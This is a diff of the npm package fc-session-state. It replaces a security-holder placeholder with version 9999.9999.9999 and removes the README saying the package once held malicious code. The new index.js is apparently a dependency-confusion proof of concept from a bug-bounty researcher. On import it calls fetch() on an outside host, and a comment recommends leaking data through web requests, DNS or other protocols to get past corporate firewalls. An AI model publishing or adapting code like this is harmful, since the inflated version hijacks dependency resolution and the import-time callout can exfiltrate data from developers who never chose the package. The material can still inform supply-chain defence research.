fc-session-state 0.0.1-security → 9999.9999.9999

package/index.js

@@ -0,0 +1,13 @@
+
+console.log('You unintentionally installed a public package from NPM. Please contact https://www.hackerone.com/thiezn');
+/*
+Leak stuff through making web requests on imports. To bypass corporate
+firewalls you can also consider exfiltrating data through different ports
+and protocols like http, https, dns and others.
+
+See this excellent blog post that explains why this is could lead to serious security issues:
+https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
+*/
+fetch("http://www.mortimer.nl/mpf/depconfusion/fc-session-state");
+fetch("https://www.mortimer.nl/mpf/depconfusion/fc-session-state");
+    

package/package.json

@@ -1,6 +1,11 @@
 {
-  "name": "fc-session-state",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
-}
+    "name": "fc-session-state",
+    "version": "9999.9999.9999",
+    "description": "https://www.hackerone.com/thiezn",
+    "main": "index.js",
+    "scripts": {
+        "test": "echo \"Error: no test specified\" && exit 1"
+    },
+    "author": "https://www.hackerone.com/thiezn",
+    "license": "ISC"
+}

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=fc-session-state for more information.